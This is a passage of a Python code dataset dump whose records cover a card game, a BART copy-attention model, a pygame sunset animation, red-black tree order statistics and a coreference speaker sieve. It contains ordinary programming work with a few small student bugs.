else:\n logger.info(\"Cant export zero position\")\n return 0\n except TypeError as err:\n logger.debug(\"Cant export empty position file. Reason: %s\", err)\n logger.info(\"Cant export empty position file\")\n return 0\n \n def start_apt(self):\n apt_launcher = FAptLauncher.AptLauncher(self.composition_file, self.universe_file)\n apt_launcher.create_universe_xdb_file()\n apt_launcher.run_apt_app()\n \n def _valid_comp(self, comp):\n self.is_valid_comp = self.is_valid_composition(comp)\n \n def generate(self):\n \"\"\"\n 1. generate apt composition xml file\n 2. generate apt universe xml file\n \"\"\"\n comp = self.generate_composition()\n univ = self.generate_universe()\n self._valid_comp(comp)\n \ndef generate(params):\n g = AptProXmlGenerator(params)\n g.generate()\n if bool(params.launch_apt) and g.is_valid_comp:\n g.start_apt()\n","sub_path":"Extensions/AMI APT/FPythonCode/FAptReportGenerate.py","file_name":"FAptReportGenerate.py","file_ext":"py","file_size_in_byte":110363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"638406665","text":"##Card game program\n##Written By R Roe: 150409241\n##For SEF034: Assignment 1\n\nimport os\nimport random\nimport sys\n\n\ndef main():\n menu()\n Continue = PlayOrQuit()\n while(Continue):\n deck = GenerateAndShuffle();\n print(\"\\n\\n\")\n Player1Name = str(input(\"Enter Player 1 name: \"))\n Player2Name = str(input(\"Enter Player 2 name: \"))\n player1Cards, deck = GetPlayerCards(deck)\n ##Prints Player 1's cards\n #print(Player1Name + \"'s cards:\")\n # for i in range(len(player1Cards)):\n # print(player1Cards[i].value + player1Cards[i].suit)\n player2Cards, deck = GetPlayerCards(deck)\n ##Prints Player 2's cards\n # print(Player2Name + \"'s cards:\")\n # for i in range(len(player2Cards)):\n # print(player2Cards[i].value + player2Cards[i].suit)\n CheckHighestCard(player1Cards, player2Cards, Player1Name, Player2Name)\n CheckTotalValues(player1Cards, player2Cards, Player1Name, Player2Name)\n Continue = PlayOrQuit()\n sys.exit()\n \ndef menu(): ##Initial Menu for player\n print(\"\\t\\tRandom card game\")\n print(\"\"\"\\n\\tCards Will be displayed with value first, then suit.\\n\\tI.E: A Jack of spades would be written as \"JS\"\\n\\tAces are low\\n\"\"\") \n\ndef PlayOrQuit(): ##Determines whether player wants to keep playing\n print(\"\"\"\\n\\tSelect an option\\n\\n1. Play Game\\n2. Quit\"\"\")\n choice = int(input(\"\\nOption: \"))\n ValidChoice = False\n while(not ValidChoice):\n if(choice==1):\n ValidChoice = True\n return True\n elif(choice == 2):\n ValidChoice = True\n return False\n else:\n print(\"Choice not valid\")\n\ndef GenerateAndShuffle(): ##Generates and Shuffles deck\n suits = [\"D\", \"H\", \"S\", \"C\"]\n values = [\"A\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"J\", \"Q\", \"K\"]\n numericValues = [1,2,3,4,5,6,7,8,9,10,11,12,13]\n deck = GenerateCards(suits, values, numericValues)\n ShuffledDeck = ShuffleCards(deck)\n deck = ShuffledDeck\n return deck\n \ndef GenerateCards(suits, values, numericValues): ##Generates cards for deck and adds to list\n deck = [] \n for i in range(0, len(values)): ##For each value\n for j in range(0, len(suits)): ##For each suit\n card = Card(values[i], suits[j], numericValues[i]) ##Create a card that fits both\n deck.append(card) ##Add card to deck\n print(\"Deck generated\")\n return deck\n\ndef ShuffleCards(deck): ##Random Shuffle\n NotShuffled = deck\n deck = []\n NoOfCards = len(NotShuffled)\n for x in range(0, NoOfCards): ##This section uses random.randrange to shuffle the cards, making the pick of top cards random\n value = random.randrange(len(NotShuffled))\n deck.append(NotShuffled[value]) ##Adds card to shuffled array\n NotShuffled.pop(value) ##Removes card from to be shuffled array\n print(\"Deck shuffled\")\n return deck\n \n##This method prevents duplicates of cards occurring\ndef GetPlayerCards(deck):\n PlayerCards = [] ##Declares empty array\n for i in range (0,3): ##For 3 cards\n PlayerCards.append(deck[i]) ##Copy card to player hand\n deck.pop(i) ##Remove card from deck\n return PlayerCards, deck\n\ndef FindHighestCardInHand(PlayerCards): ##Finds Highest card in player's hand\n HighestCard = PlayerCards[0]\n for i in range(3):\n if PlayerCards[i].numeric > HighestCard.numeric:\n HighestCard = PlayerCards[i]\n else:\n pass\n return HighestCard\n\ndef CheckForDraw(Player1, Player2): ##Returns Boolean based on whether it's a draw\n if(Player1.numeric == Player2.numeric):\n return True\n else:\n return False \n\ndef CompareHighestCards(Player1, Player2): ##Returns boolean based on winning card\n if(Player1.numeric > Player2.numeric):\n return True\n else:\n return False \n\ndef CheckHighestCard(Player1Cards,Player2Cards, Player1Name, Player2Name): #Determines which player has the highest card, and displays output\n Player1Highest = FindHighestCardInHand(Player1Cards)\n Player2Highest = FindHighestCardInHand(Player2Cards)\n print(Player1Name +\"'s Highest card: \" + Player1Highest.value + Player1Highest.suit)\n print(Player2Name +\"'s Highest card: \" + Player2Highest.value + Player2Highest.suit)\n Draw = CheckForDraw(Player1Highest, Player2Highest)\n if(not Draw):\n Player1Win = CompareHighestCards(Player1Highest,Player2Highest)\n if(Player1Win):\n print(Player1Name + \" wins highest card!\")\n else:\n print(Player2Name + \" wins highest card!\")\n else:\n print(\"It's a draw for highest card!\")\n\ndef CheckTotalValues(Player1Cards, Player2Cards, Player1Name, Player2Name): #Finds the total of each hand, and shows which player has the highest title\n Player1Total = GetCardTotal(Player1Cards)\n Player2Total = GetCardTotal(Player2Cards)\n if(Player1Total > Player2Total):\n print(Player1Name + \" has the highest value total\")\n elif(Player2Total > Player1Total):\n print(Player1Name + \" has the highest value total\")\n elif(Player1Total == Player2Total):\n print(\"Players have equal totals\") \n\ndef GetCardTotal(PlayerCards): #Gets total of each hand\n Playertotal = 0\n for i in range (len(PlayerCards)):\n Playertotal += PlayerCards[i].numeric\n return Playertotal\n\nclass Card: ##Class for each card\n def __init__(self, value, suit, numeric):\n self.value = value\n self.suit = suit\n self.numeric = numeric\n \nif __name__ == \"__main__\": ##Runs main function on start\n main()","sub_path":"Deck of cards generator.py","file_name":"Deck of cards generator.py","file_ext":"py","file_size_in_byte":5672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"395473655","text":"'''\nCopied over from https://huggingface.co/transformers/_modules/transformers/models/bart/modeling_bart.html\n'''\nimport torch\nimport torch.nn.functional as F\nfrom transformers import BartForConditionalGeneration, BartModel, BartConfig\nfrom transformers.modeling_outputs import Seq2SeqLMOutput\nclass CopyBartForConditionalGeneration(BartForConditionalGeneration):\n\n def __init__(self, config: BartConfig):\n super().__init__(config)\n \n self.selected_heads = None\n\n def forward(\n self,\n input_ids=None,\n attention_mask=None,\n decoder_input_ids=None,\n decoder_attention_mask=None,\n head_mask=None,\n decoder_head_mask=None,\n encoder_outputs=None,\n past_key_values=None,\n inputs_embeds=None,\n decoder_inputs_embeds=None,\n labels=None,\n use_cache=None,\n output_attentions=None,\n output_hidden_states=None,\n return_dict=None,\n ):\n r\"\"\"\n labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size, sequence_length)`, `optional`):\n Labels for computing the masked language modeling loss. Indices should either be in ``[0, ...,\n config.vocab_size]`` or -100 (see ``input_ids`` docstring). Tokens with indices set to ``-100`` are ignored\n (masked), the loss is only computed for the tokens with labels in ``[0, ..., config.vocab_size]``.\n\n Returns:\n \"\"\"\n assert output_attentions or self.model.config.output_attentions, \"output_attentions must be true\"\n \n # original outputs\n outputs = self.model(input_ids,\n attention_mask=attention_mask,\n decoder_input_ids=decoder_input_ids,\n encoder_outputs=encoder_outputs,\n decoder_attention_mask=decoder_attention_mask,\n head_mask=head_mask,\n decoder_head_mask=decoder_head_mask,\n past_key_values=past_key_values,\n inputs_embeds=inputs_embeds,\n decoder_inputs_embeds=decoder_inputs_embeds,\n use_cache=use_cache,\n output_attentions=output_attentions,\n output_hidden_states=output_hidden_states,\n return_dict=return_dict,)\n \n if input_ids is None:\n input_ids = self._cache_input_ids\n\n # if self.selected_heads is None:\n # take the cross attention non-linear function\n cross_attention_non_linear = self.model.decoder.layers[-1].encoder_attn.out_proj.weight # (emb_dim, emb_dim)\n cross_attention_non_linear_sum = cross_attention_non_linear.view(self.config.decoder_attention_heads, -1).abs().sum(1) # (num_heads)\n _, selected_heads = torch.topk(cross_attention_non_linear_sum, k=self._k)\n self.selected_heads = selected_heads\n\n encoder_last_hidden_state = outputs.encoder_last_hidden_state # (batch, seq, hidden)\n decoder_last_hidden_state = outputs[0] #(batch, decoding_seq, hidden )\n \n \n # compute lm logits based on attention\n last_cross_attentions = outputs.cross_attentions[-1] # (batch_size, num_heads, decoding_seq_length, encoding_seq_length).\n \n \n lm_logits = self.lm_head(outputs[0]) + self.final_logits_bias #(batch_size, decoding_seq_length, emb_dim)\n \n \n \n cross_attentions_aggregate = last_cross_attentions[:,self.selected_heads,:,:].mean(dim=1) #(batch, decoding_seq_length, encoding_seq_length)\n\n \n dummy_input_ids = input_ids.unsqueeze(-1).expand(-1, -1, lm_logits.size(1)).transpose(1,2) # (batch, decoding_seq_length, encoding_seq_length)\n copy_logits = torch.zeros_like(lm_logits) # (batch, decoding_seq_length, emb_dim)\n copy_logits.scatter_add_(dim=2, index=dummy_input_ids, src=cross_attentions_aggregate) \n \n \n p_gen = torch.bmm(decoder_last_hidden_state, encoder_last_hidden_state.mean(dim=1).unsqueeze(dim=-1)) # (batch, decoding_seq, 1)\n p_gen = torch.sigmoid(p_gen)\n\n\n lm_logits = F.softmax(lm_logits, dim=-1) * p_gen + copy_logits * (1 - p_gen)#(batch_size, decoding_seq_length, emb_dim)\n \n \n\n\n masked_lm_loss = None\n if labels is not None:\n # compute loss mask and fill -100 with 0\n loss_mask = labels != -100\n labels.masked_fill_(~loss_mask, 0)\n # use negative log likelihood\n gold_probs = torch.gather(lm_logits, 2, labels.unsqueeze(2)).squeeze(2)\n eps = 1e-7 # for safe log\n masked_lm_loss = - torch.log(gold_probs + eps) * self._loss_weight[labels]\n masked_lm_loss = (masked_lm_loss * loss_mask).mean()\n \n\n\n if not return_dict:\n output = (lm_logits,) + outputs[1:]\n return ((masked_lm_loss,) + output) if masked_lm_loss is not None else output\n\n \n return Seq2SeqLMOutput(\n loss=masked_lm_loss,\n logits=lm_logits,\n past_key_values=outputs.past_key_values,\n decoder_hidden_states=outputs.decoder_hidden_states,\n decoder_attentions=outputs.decoder_attentions,\n cross_attentions=outputs.cross_attentions,\n encoder_last_hidden_state=outputs.encoder_last_hidden_state,\n encoder_hidden_states=outputs.encoder_hidden_states,\n encoder_attentions=outputs.encoder_attentions,\n )\n\n\n \n\n","sub_path":"copy_bart.py","file_name":"copy_bart.py","file_ext":"py","file_size_in_byte":5409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"89762318","text":"import sys, random, math\r\n\r\nimport pygame\r\n#Include constants for pygame\r\nfrom pygame.locals import * \r\n\r\npygame.init()\r\n\r\n#Variables\r\ngradient_size = 300\r\nWIDTH, HEIGHT = 640, 480\r\ntick = 60\r\ndamp = 0.1\r\nrand_variation = 20\r\n\r\n\r\n\r\n#Tools\r\nLINE = 0\r\nCIRCLE = 1\r\nPOLYGON = 2 #TODO\r\nToolsDel = [None] * 3\r\n\r\n#Colors\r\nWHITE = (255, 255, 255)\r\nBLACK = (0, 0, 0)\r\nSILHOUETTE_COLOR = (22, 35, 26)\r\nALTOS_GREEN = (75, 150, 128)\r\nYELLOW = (255, 255, 0)\r\nTRANSPARENCY=(0, 0, 0, 0)\r\nDAY_YELLOW = (240,212,66)\r\n\r\ndef text_object(text, font):\r\n text_surface = font.render(text, True, WHITE)\r\n return text_surface, text_surface.get_rect()\r\n\r\ndef message_display(text, x, y, size):\r\n font = pygame.font.Font('freesansbold.ttf', size)\r\n text_surf, text_rect = text_object(text, font)\r\n text_rect.center = (x, y)\r\n return screen.blit(text_surf, text_rect)\r\n\r\ndef col_lerp(col_1, col_2, t):\r\n r = lerp(col_1[0],\r\n col_2[0],\r\n t)\r\n g = lerp(col_1[1],\r\n col_2[1],\r\n t)\r\n b = lerp(col_1[2],\r\n col_2[2],\r\n t)\r\n new_col = truncate_col((r,g,b))\r\n \r\n return new_col\r\n\r\ndef rand_col(col, alpha= 255):\r\n r = lerp(col[0],\r\n col[0] + random.randint(-rand_variation, rand_variation),\r\n damp)\r\n g = lerp(col[1],\r\n col[1] + random.randint(-rand_variation, rand_variation),\r\n damp)\r\n b = lerp(col[2],\r\n col[2] + random.randint(-rand_variation, rand_variation),\r\n damp)\r\n new_col = truncate_col((r,g,b), alpha)\r\n \r\n return new_col\r\n\r\ndef truncate(val, minval, maxval):\r\n return max(min(maxval, val), minval)\r\n\r\ndef truncate_col(col, alpha=255):\r\n r = col[0]\r\n g = col[1]\r\n b = col[2]\r\n if r > 255:\r\n r = 255\r\n if r < 0:\r\n r = 0\r\n\r\n if g > 255:\r\n g = 255\r\n if g < 0:\r\n g = 0\r\n\r\n if b > 255:\r\n b = 255\r\n if b < 0:\r\n b = 0\r\n return (r,g,b, alpha)\r\n\r\ndef translate(value, value_min, value_max, final_min, final_max):\r\n left_lenght = value_max - value_min\r\n right_lenght = final_max - final_min\r\n scaled_value = float(value - value_min) / float(left_lenght)\r\n return final_min + (scaled_value * right_lenght)\r\n\r\ndef lerp(v0, v1, t):\r\n return (1 - t) * v0 + t * v1\r\n\r\ndef draw_gradient(c0, c1, gradient_size=HEIGHT):\r\n for x in range(gradient_size):\r\n end_pos = x / gradient_size\r\n r = lerp(c0[0], c1[0], end_pos)\r\n g = lerp(c0[1], c1[1], end_pos)\r\n b = lerp(c0[2], c1[2], end_pos)\r\n new_col = (r, g, b)\r\n\r\n pygame.draw.line(screen, new_col, (0, x), (WIDTH, x))\r\n\r\ndef move_sun():\r\n rotation += pygame.time.get_ticks() / 60\r\n\r\ndef line_drawing():\r\n global pressing_m0, p_start, p_final\r\n \r\n if not mouse[0]:\r\n pressing_m0 = False\r\n if mouse[0] and pressing_m0 == False:\r\n pressing_m0 = True\r\n p_start = pygame.mouse.get_pos()\r\n\r\n elif mouse[2] and not pressing_m0:\r\n points.pop()\r\n pygame.time.delay(300)\r\n if pressing_m0 and mouse[2]:\r\n points.append((p_start, p_final))\r\n pygame.time.delay(300)\r\n if pressing_m0:\r\n pygame.draw.aaline(screen, BLACK, p_start, p_final, 0)\r\n p_final = pygame.mouse.get_pos()\r\n\r\ndef circle_drawing():\r\n global pressing_m0, p_start, p_final\r\n c_size = pygame.math.Vector2(p_start).distance_to(p_final)\r\n c_size = int(abs(c_size))\r\n if not mouse[0]:\r\n pressing_m0 = False\r\n if mouse[0] and pressing_m0 == False:\r\n pressing_m0 = True\r\n p_start = pygame.mouse.get_pos()\r\n\r\n elif mouse[2] and not pressing_m0:\r\n circles.pop()\r\n pygame.time.delay(300)\r\n if pressing_m0 and mouse[2]:\r\n circles.append((p_start, c_size))\r\n pygame.time.delay(300)\r\n if pressing_m0:\r\n pygame.draw.circle(screen, WHITE, p_start, c_size)\r\n p_final = pygame.mouse.get_pos()\r\n\r\ndef polygon_drawing():\r\n global pressing_m0, p_start, p_final\r\n if not mouse[0]:\r\n pressing_m0 = False\r\n if mouse[0] and pressing_m0 == False:\r\n pressing_m0 = True\r\n p_start = pygame.mouse.get_pos()\r\n polygon_temp_points.append(p_start)\r\n elif mouse[2] and not pressing_m0:\r\n if len(polygon_temp_points) > 0:\r\n polygon_temp_points.pop()\r\n pygame.time.delay(300)\r\n if pressing_m0 and mouse[2]:\r\n polygon_temp_points[-1] = pygame.mouse.get_pos()\r\n pygame.time.delay(300)\r\n if pressing_m0:\r\n if len(polygon_temp_points) != 0:\r\n pygame.draw.aaline(screen, BLACK, p_start, p_final, 0)\r\n p_final = pygame.mouse.get_pos()\r\n\r\n if len(polygon_temp_points) > 1:\r\n pygame.draw.polygon(screen, BLACK, polygon_temp_points, 1)\r\n \r\n#Defining Mountains\r\nfar_left_big_mountain = [(0, 117), (329, 478), (0, 479)]\r\nbottom_right_small_mountain = [(342, 480), (565, 382), (640, 414), (639, 480)]\r\nfar_right_big_mountain = [(0, 640), (218, 387), (224, 369), (313, 310), (361, 357), (492, 247), (526, 279), (640, 170), (640, 480)]\r\n#The order of the list is paramount for it to work\r\npolygon_points = [far_left_big_mountain, bottom_right_small_mountain, far_right_big_mountain]\r\n\r\n#This list is pointless, these are just the\r\n#points that I used to make polygons\r\npoints = []\r\n#points = [((224, 369), (312, 311)), ((224, 369), (312, 311)), ((313, 310), (361, 357)), ((313, 310), (361, 357)), ((361, 356), (490, 248)), ((361, 356), (490, 248)), ((491, 247), (522, 276)), ((491, 247), (522, 276)), ((532, 261), (639, 166)), ((532, 261), (639, 166)), ((243, 356), (431, 440)), ((243, 356), (431, 440)), ((567, 383), (342, 479)), ((567, 383), (342, 479)), ((567, 384), (639, 413)), ((567, 384), (639, 413)), ((225, 369), (331, 479)), ((225, 369), (331, 479)), ((226, 370), (0, 115)), ((226, 370), (0, 115)), ((535, 259), (524, 276))]\r\n\r\n#Circles aka lazy stars\r\ncircles = []\r\ncircles = [((482, 77), 4), ((354, 22), 3), ((615, 62), 3), ((271, 89), 2), ((119, 111), 2), ((69, 50), 5), ((206, 103), 4)]\r\n#PS: The sun is a seperate object\r\n\r\n#Used on the polygon_drawing function\r\npolygon_temp_points = []\r\n\r\n#Things used on drawing functions\r\np_start = (0,0)\r\np_final = (0,0)\r\ncurrent_tool = LINE\r\npressing_m0 = False\r\nalready_using_polygon = False\r\n\r\n#Drawing tools (ps: is there a name for this patter?\r\n# using a list to store function\r\nToolsDel[LINE] = line_drawing\r\nToolsDel[CIRCLE] = circle_drawing\r\nToolsDel[POLYGON] = polygon_drawing\r\n\r\n\r\n#Pygame stuff\r\nclock = pygame.time.Clock()\r\nscreen = pygame.display.set_mode((WIDTH, HEIGHT))\r\n\r\n\r\n#Sun Stuff\r\nSUN_START_POS = (int(WIDTH/1.5), int(HEIGHT*0.85)) #Better not touch this. You'll mess up the \"translate\" function if the sun is on a weird position\r\n\r\nsun_x = SUN_START_POS[0] \r\nsun_y = SUN_START_POS[1] \r\nangle = 90+45\r\nangle *= 0.0174532925 #Converting to radians (actual angles eg:45, 90)\r\n\r\nspeed = 0.1 #Works better with values between 0.01 - 0.04\r\nspeed_copy = speed\r\nradius = 350\r\nsun_rect = pygame.draw.circle(screen, YELLOW, SUN_START_POS, 5)\r\nsun_layer = pygame.Surface((WIDTH, HEIGHT)).convert_alpha()\r\nsun_layer.fill(TRANSPARENCY)\r\n\r\n#Mountains Stuff\r\nmountain_layer = pygame.Surface((WIDTH, HEIGHT)).convert_alpha()\r\nmountain_layer.fill(TRANSPARENCY)\r\ncol = [rand_col(SILHOUETTE_COLOR, alpha=177),rand_col(SILHOUETTE_COLOR,alpha=160),rand_col(SILHOUETTE_COLOR, alpha=144)]\r\n\r\n\r\n\r\ndone = False\r\n# Game loop.\r\nwhile not done: \r\n mouse = pygame.mouse.get_pressed()\r\n for event in pygame.event.get():\r\n if event.type == QUIT:\r\n pygame.quit()\r\n \r\n if event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_1:\r\n current_tool = LINE\r\n print(\"Current tool: Line\")\r\n elif event.key == pygame.K_2:\r\n current_tool = CIRCLE\r\n print(\"Current tool: Circle\")\r\n elif event.key == pygame.K_3:\r\n current_tool = POLYGON\r\n print(\"Current tool: Polygon\")\r\n \r\n if event.key == pygame.K_LEFT:\r\n speed -= 0.1\r\n if event.key == pygame.K_RIGHT:\r\n speed += 0.05\r\n if event.key == pygame.K_SPACE:\r\n speed = speed_copy\r\n \r\n\r\n # Update\r\n if current_tool == POLYGON and not already_using_polygon:\r\n already_using_polygon = True\r\n polygon_temp_points = []\r\n ToolsDel[current_tool]()\r\n #angle(var)+ | hour\r\n #0 or 360 = 18hr\r\n #45 = 21hr\r\n #90 = 24hr\r\n #180 = 6hr\r\n #270 = 12hr\r\n angle = angle % 6.28319\r\n angle += 0.0174532925 * speed\r\n\r\n radians = angle * 57.2958\r\n \r\n if 270+15 > radians > 90+15:\r\n hours = translate(radians, 90+15, 270, 1, 12)\r\n if 270+15 < radians:\r\n hours = translate(radians, 270+15, 360, 1, 6)\r\n if radians < 90+15:\r\n hours = translate(radians, 0, 90, 6, 12)\r\n hours = int(hours+0.1)\r\n minutes = translate(radians % 14.1, 0, 15, 0, 60)\r\n \r\n \r\n sun_x = SUN_START_POS[0] + math.cos(angle) * radius \r\n sun_y = SUN_START_POS[1] + math.sin(angle) * radius \r\n #print(str(sun_x) + \" \" + str(sun_y))\r\n sun_x = int(sun_x )\r\n sun_y = int(sun_y )\r\n\r\n sun_alpha = abs(int(translate(sun_y, 0, HEIGHT , 255, 50)))\r\n\r\n stars_alpha = abs(int(translate(sun_alpha, 255, 0, -100, 255)))\r\n stars_alpha = truncate(stars_alpha, 0, 255)\r\n \r\n \r\n # Draw\r\n screen.fill(ALTOS_GREEN)\r\n sun_layer.fill(TRANSPARENCY)\r\n \r\n \r\n damp = sun_y\r\n damp = translate(damp, 200, HEIGHT, 0, 1)\r\n draw_gradient(ALTOS_GREEN, col_lerp(DAY_YELLOW, BLACK, damp))\r\n\r\n \r\n for pt in points:\r\n pygame.draw.line(screen, BLACK, pt[0], pt[1], 1)\r\n\r\n for c in circles:\r\n pygame.draw.circle(sun_layer, (255,255,255,stars_alpha), c[0], c[1])\r\n\r\n for x in range(len(polygon_points)):\r\n pygame.draw.polygon(mountain_layer, col[x-1], polygon_points[x-1])\r\n\r\n sun = pygame.draw.circle(sun_layer, (255,255,0, sun_alpha), (sun_x, sun_y ), 23)\r\n\r\n screen.blit(sun_layer, (0,0))\r\n screen.blit(mountain_layer, (0,0))\r\n\r\n #Display hours\r\n hour_str = str(int(hours))\r\n min_str = str(int(minutes))\r\n if len(hour_str) <= 1:\r\n hour_str = \"0\" + hour_str\r\n if len(min_str) <= 1:\r\n min_str = \"0\" + min_str\r\n message_display(\"{}:{}\".format(hour_str, min_str), 100, 25, 36)\r\n \r\n pygame.display.flip()\r\n clock.tick(tick)\r\n","sub_path":"Lab 8 - Animation/Animation.py","file_name":"Animation.py","file_ext":"py","file_size_in_byte":10511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"472595455","text":"import os\n\n\ndef parse_argv(argv):\n try:\n data = {'url': argv[1], 'name': argv[2]}\n except Exception as E:\n return '''Please enter valid website url and folder name,\n example: python main.py http://google.com/ google'''\n return data\n\n\ndef make_path(name, parse, self_name):\n if parse:\n path = os.path.join(self_name, *name[:-1])\n if not os.path.exists(path):\n os.makedirs(path)\n dir = os.path.join(self_name, *name)\n else:\n dir = os.path.join(name, '{}.html'.format(name))\n if not os.path.exists(name):\n os.makedirs(name)\n return dir\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"72253779","text":"from sys import argv\nfrom redBlackTree import *\n\n# an exception raised in the case that an incorrect order is asked for\nclass WrongOrder(Exception):\n\tdef __init__(self, data=None):\n\t\tsuper().__init__(data)\n\n# orders the sizes correctly by calling on a helper function\ndef findSubtreeSizes(self) -> None:\n\tself.findSizeHelp(self.root)\n\n# a recursive helper function that will give each node the correct size\ndef findSizeHelp(self, x: RBNode) -> int:\n\tif x != self.nil:\n\t\tleft = self.findSizeHelp(x.left)\n\t\tright = self.findSizeHelp(x.right)\n\t\tx.other = left + right + 1\n\t\treturn x.other\n\tx.other = 0\n\treturn x.other\n\n# returns the node that is the kth smallest by calling a recursive helper function\ndef orderStatistic(self, k) -> RBNode:\n\tif k < 1 or k > self.root.other:\n\t\traise RBTree.WrongOrder('orderStatistic({}) not found'.format(k))\n\tif k == 1:\n\t\tx = self.minimum(self.root)\n\telse:\n\t\tx = self.orderStatHelp(self.root, k)\n\tif x == self.nil:\n\t\traise RBTree.WrongOrder('orderStatistic({}) not found'.format(k))\n\treturn x\n\n# a recursive helper function that will search for the kth smallest node\ndef orderStatHelp(self, x: RBNode, i) -> RBNode:\n\tif x != self.nil:\n\t\ti -= 1\n\t\tif i < x.left.other:\n\t\t\tx = self.orderStatHelp(x.left, i)\n\t\telif i > x.left.other:\n\t\t\tx = self.orderStatHelp(x.right, i - (x.left.other))\n\treturn x\n\n# adds all previous functions and exceptions to the RBTree class\nRBTree.WrongOrder = WrongOrder\nRBTree.findSubtreeSizes = findSubtreeSizes\nRBTree.findSizeHelp = findSizeHelp\nRBTree.orderStatistic = orderStatistic\nRBTree.orderStatHelp = orderStatHelp\n\n# a driver function that is takes in the file and completes what is asked for\ndef main() -> None:\n\tst = RBTree()\n\tf = open(argv[1], \"r\")\n\tnl = int(f.readline().strip())\n\tfor i in range(nl):\n\t\tl = f.readline().strip()\n\t\tif l == 'get_subtree_sizes':\n\t\t\tst.findSubtreeSizes()\n\t\telse:\n\t\t\tv = l.split()\n\t\t\tif v[0] == 'insert':\n\t\t\t\tk = int(v[1])\n\t\t\t\tz = RBNode(k, st.nil, 1)\n\t\t\t\tst.insert(z)\n\t\t\telif v[0] == 'order':\n\t\t\t\tk = int(v[1])\n\t\t\t\ttry:\n\t\t\t\t\tz = st.orderStatistic(k)\n\t\t\t\t\tprint(z.key)\n\t\t\t\texcept RBTree.WrongOrder as e:\n\t\t\t\t\tprint('TreeError')\n\t\t\telse:\n\t\t\t\tprint(\"illegal input line: \", l)\n\tf.close()\n\n# this code should work with either python or python3\nif __name__ == \"__main__\":\n\tmain()","sub_path":"projectEC/problem1.py","file_name":"problem1.py","file_ext":"py","file_size_in_byte":2269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"503739377","text":"# coding=utf-8\n\"\"\" The sieves that uses the speaker and utterance checks.\n\n\"\"\"\n\nfrom corefgraph.constants import ID, FORM, QUOTED, UTTERANCE\nfrom corefgraph.multisieve.features.constants import PERSON, FIRST_PERSON, SECOND_PERSON,\\\n NUMBER, PLURAL, SINGULAR, SPEAKER, IS_SPEAKER\nfrom corefgraph.multisieve.sieves.base import PronounSieve\nfrom corefgraph.resources.dictionaries import pronouns\nfrom corefgraph.resources.rules import rules\nfrom corefgraph.resources.tagset import dependency_tags\n\n__author__ = 'Josu Bermudez '\n\n\nclass SpeakerSieve(PronounSieve):\n \"\"\" Check the coreference of two mentions with rules based in speaker\n relations.\"\"\"\n\n short_name = \"SPM\"\n\n # Filter options\n NO_PRONOUN_MENTION = False\n\n # Default behavior.\n configs = {\"SPEAKER_WE_WE\", \"SPEAKER_I_I\", \"SPEAKER_YOU_YOU\", \"SPEAKER_I\",\n \"SPEAKER_I_YOU\", \"SPEAKER_REFLEX\"}\n WE_MATCH = False\n I_MATCH = True\n YOU_MATCH = True\n SPEAKER_I_MATCH = True\n YOU_I_MATCH = True\n SPEAKER_REFLEX = True\n EQUAL_SPEAKERS = True\n\n def are_coreferent(self, entity, mention, candidate_entity, candidate):\n \"\"\" Mention and candidate are the same person in a Discourse.\n\n :param mention: The selected mention to represent the entity.\n :param entity: The entitpy that mention is part.\n :param candidate: The candidate that may corefer the entity.\n :param candidate_entity: The entity that candidate is part of it.\n :return: True or false\n \"\"\"\n if not super(self.__class__, self).are_coreferent(\n entity, mention, candidate_entity, candidate):\n return False\n\n person_candidate = candidate.get(PERSON)\n person_mention = mention.get(PERSON)\n\n number_candidate = candidate[NUMBER]\n number_mention = mention[NUMBER]\n\n doctype = mention[self.graph_builder.doc_type]\n distance = abs(mention[UTTERANCE] - candidate[UTTERANCE])\n\n if self.EQUAL_SPEAKERS and self.equal_speakers(mention, candidate):\n self.logger.debug(\"LINK VALID SPEAKER_REFLEX Match\")\n return True\n\n if self.SPEAKER_REFLEX and self.reflexive(mention, candidate, entity, candidate_entity):\n self.logger.debug(\"LINK VALID SPEAKER_REFLEX Match\")\n return True\n # \"I\" and the speaker\n if self.are_speaker_speech(speaker=mention, speech=candidate):\n if person_candidate == FIRST_PERSON and\\\n number_candidate == SINGULAR:\n self.logger.debug(\"LINK VALID SPEAKER_I_MATCH\")\n if self.SPEAKER_I_MATCH:\n return True\n\n if self.are_speaker_speech(speaker=candidate, speech=mention):\n if person_mention == FIRST_PERSON and number_mention == SINGULAR:\n self.logger.debug(\"LINK VALID SPEAKER_I_MATCH\")\n if self.SPEAKER_I_MATCH:\n return True\n\n # Two \"I\" in the same speaker speech\n if (person_mention == FIRST_PERSON) and (number_mention == SINGULAR) \\\n and (person_candidate == FIRST_PERSON) and\\\n (number_candidate == SINGULAR):\n if self.same_speaker(mention, candidate):\n self.logger.debug(\"LINK VALID SPEAKER_I_I_MATCH\")\n if self.I_MATCH:\n return True\n\n # Two \"We\" in the same speaker speech\n if (person_mention == FIRST_PERSON) and (number_mention == PLURAL) \\\n and (person_candidate == FIRST_PERSON) and\\\n (number_candidate == PLURAL):\n if self.same_speaker(mention, candidate):\n self.logger.debug(\"LINK VALID SPEAKER_WE_WE_MATCH\")\n if self.WE_MATCH:\n return True\n\n # Two \"you\" in the same speaker Speech\n # TODO CHECK number\n if person_mention == SECOND_PERSON and person_candidate == SECOND_PERSON:\n if self.same_speaker(mention, candidate):\n self.logger.debug(\"LINK VALID SPEAKER_YOU_YOU_MATCH\")\n if self.YOU_MATCH:\n return True\n # previous I - you or previous you - I in\n # two person conversation (NOT IN PAPER)\n # TODO CHECK NUMBER\n if self.YOU_I_MATCH and \\\n doctype == self.graph_builder.doc_conversation and \\\n ((\n person_mention == SECOND_PERSON and\n person_candidate == FIRST_PERSON and\n number_candidate == SINGULAR\n ) or (\n person_mention == FIRST_PERSON and\n person_candidate == SECOND_PERSON and\n number_mention == SINGULAR\n )):\n if not self.same_speaker(mention, candidate) and (distance == 1):\n self.logger.debug(\"LINK 